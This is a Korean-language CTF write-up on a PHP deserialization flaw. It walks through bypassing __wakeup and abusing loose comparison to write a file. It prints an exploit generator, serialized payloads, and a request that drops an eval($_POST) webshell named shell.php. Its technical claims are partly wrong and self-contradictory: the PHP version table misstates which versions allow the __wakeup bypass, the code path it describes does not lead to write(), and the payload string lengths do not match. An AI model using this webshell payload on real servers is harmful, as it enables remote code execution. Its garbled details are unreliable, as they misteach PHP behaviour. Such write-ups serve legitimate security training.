문제 개요
해당 CTF 문제는 PHP 객체 역직렬화를 이용한 파일 쓰기 취약점을 다룬다. 핵심은 __wakeup 메서드의 동작을 우회하고 __destruct에서 조건을 만족시켜 임의 파일을 생성하는 것이다.
소스코드 구조 분석
제공된 코드는 크게 두 개의 클래스로 구성된다:
<?php
// source.php
class FileHandler {
private $cmd;
protected $op;
public $filename;
public $content;
function __construct() {
$this->cmd = "ls";
$this->op = "1";
$this->filename = "/tmp/tmpfile";
$this->content = "hello world!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$this->read();
} else {
$this->output("something error!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("too long!");
} else {
$this->do_something();
}
} else {
$this->output("empty filename or content");
}
}
private function do_something() {
$file = "./" . $this->filename;
file_put_contents($file, $this->content);
$this->output("successful!");
}
private function read() {
// ...
}
function __wakeup() {
$this->op = "1";
}
function __destruct() {
if($this->op == "2") {
$this->content = "";
}
// ...
}
}
취약점 분석
1. __wakeup 우회 필요성
__wakeup()은 객체 역직렬화 직후 자동 실행되어 $op를 제로 "1"로 덮어쓴다. 이를 우회해야 process()에서 write() → do_something() 경로로 진입할 수 있다.
2. PHP 버전별 __wakeup 동작 차이
| PHP 버전 | __wakeup 실행 조건 |
|---|---|
| 5.x | 항상 실행 (속성 개수 불일치 무관) |
| 7.0-7.1 | 항상 실행 |
| 7.2+ | 선언된 속성 수 < 실제 속성 수 시 실행 안 함 |
공격 벡터 구성
Step 1: 속성 가시성 조정
protected나 private 속성은 역직렬화 시 널 바이트와 클래스명이 포함되어 정규식 필터링에 걸릴 수 있다. public으로 전환하여 깔끔한 직렬화 문자열을 생성한다.
Step 2: 취약한 비교 연산 활용
PHP의 느슨한 비교(==)에서 " 2"(앞에 공백 포함)는 "2"와 같다고 평가된다. 이를 이용해 __wakeup의 덮어쓰기 후에도 조건을 만족시킨다.
<?php
// exploit_generator.php
class FileHandler {
public $op = " 2"; // 공백 포함: 느슨한 비교 우회
public $filename = "shell.php";
public $content = '';
}
$obj = new FileHandler();
$serialized = serialize($obj);
// PHP 7.2+ 우편: 선언 속성 수를 실제보다 작게 조작
$malformed = str_replace(':3:{', ':2:{', $serialized);
echo urlencode($malformed);
?>
Step 3: 완성된 페이로드
// 정상 직렬화
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:9:"shell.php";s:7:"content";s:26:"";}
// __wakeup 우회 버전 (속성 수 3→2)
O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:9:"shell.php";s:7:"content";s:26:"";}
실제 익스플로잇
<?php
// exploit.php - 서버측 수신
include "source.php";
$data = $_GET["str"];
$unserialized = unserialize($data); // __wakeup 우회됨
// __destruct에서 op=="2" 조건 만족, 이후 process() 흐름 진행
?>
요청: /exploit.php?str=O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:9:"shell.php";s:7:"content";s:26:"%3C%3Fphp%20eval($_POST[%22x%22]);%3F%3E";}
핵심 정리
- 파일명
NewFlag.php는 단순 배너일 가능성을 염두에 둘 것 - 속성 가시성은
public으로 통일하여 직렬화 노이즈 제거 - PHP 7.2+에서는 속성 수 불일치로
__wakeup우회 가능 - 느슨한 비교의 특성:
" 2" == "2"→true - 최종 목표:
file_put_contents를 통한 웹셸 생성